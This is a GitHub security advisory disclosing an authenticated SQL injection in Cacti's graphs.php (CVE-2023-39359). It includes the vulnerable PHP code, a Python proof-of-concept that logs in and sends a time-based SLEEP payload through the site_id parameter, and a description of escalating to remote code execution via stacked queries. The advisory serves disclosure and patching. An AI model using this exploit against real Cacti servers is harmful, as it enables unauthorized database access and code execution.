Skip to content

Authenticated SQL injection vulnerability when managing graphs

High
netniV published GHSA-q4wh-3f9w-836h Sep 5, 2023

Package

Cacti

Affected versions

< 1.2.25

Patched versions

1.2.25, 1.3.0

Description

Summary

An authenticated SQL injection vulnerability was discovered during the review of this project. This allows authenticated users to exploit the SQL injection vulnerability to perform privilege escalation and remote code execution.

Details

The vulnerability resides in the graphs.php file. When dealing with the cases of ajax_hosts and ajax_hosts_noany, if the site_id parameter is greater than 0, it is directly reflected in the WHERE clause of the SQL statement. This creates an SQL injection vulnerability.

switch (get_request_var('action')) {
	// ...
	case 'ajax_hosts':
		$sql_where = '';
		if (get_request_var('site_id') > 0) {
			$sql_where = 'site_id = ' . get_request_var('site_id');
		}

		get_allowed_ajax_hosts(true, 'applyFilter', $sql_where);

		break;
	case 'ajax_hosts_noany':
		$sql_where = '';
		if (get_request_var('site_id') > 0) {
			$sql_where = 'site_id = ' . get_request_var('site_id');
		}

		get_allowed_ajax_hosts(false, 'applyFilter', $sql_where);
		break;

PoC

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.

import argparse
import requests
import sys
import urllib3

#import os
#os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10
payload = f"""1 AND (SELECT 1 FROM (SELECT(SLEEP({sleep_time})))A)"""


def get_csrf_token():
    url = f"{target}/index.php"
    
    res_body = session.get(url).content.decode()
    csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0]
    if not csrf_token:
        print("[-] Unable to find csrf_token")
        sys.exit()
    return csrf_token

def login(username,password):
    login_url = f"{target}/index.php"

    csrf_token = get_csrf_token() 
    data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token}
    
    res_body = session.post(login_url,data=data).content.decode()
    
    if 'You are now logged into <' in res_body:
        print('[+] Login successful!')
    else:
        print('[-] Login failed. Check your credentials')
        sys.exit()

def exploit():
    url = f"{target}/graphs.php"

    params = {
        'action':'ajax_hosts',
        'site_id':payload
    }

    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graphs.php 'site_id' SQL Injection (authenticated)")
    parser.add_argument('-t','--target',help='',required=True)
    parser.add_argument('-u','--username',help='',required=True)
    parser.add_argument('-p','--password',help='',required=True)
    args = parser.parse_args()
    
    username = args.username
    password = args.password
    target = args.target
    session = requests.Session()

    login(username,password)
    exploit()

poc
burp

Impact

This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database.

Severity

High
8.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-39359

Weaknesses

Credits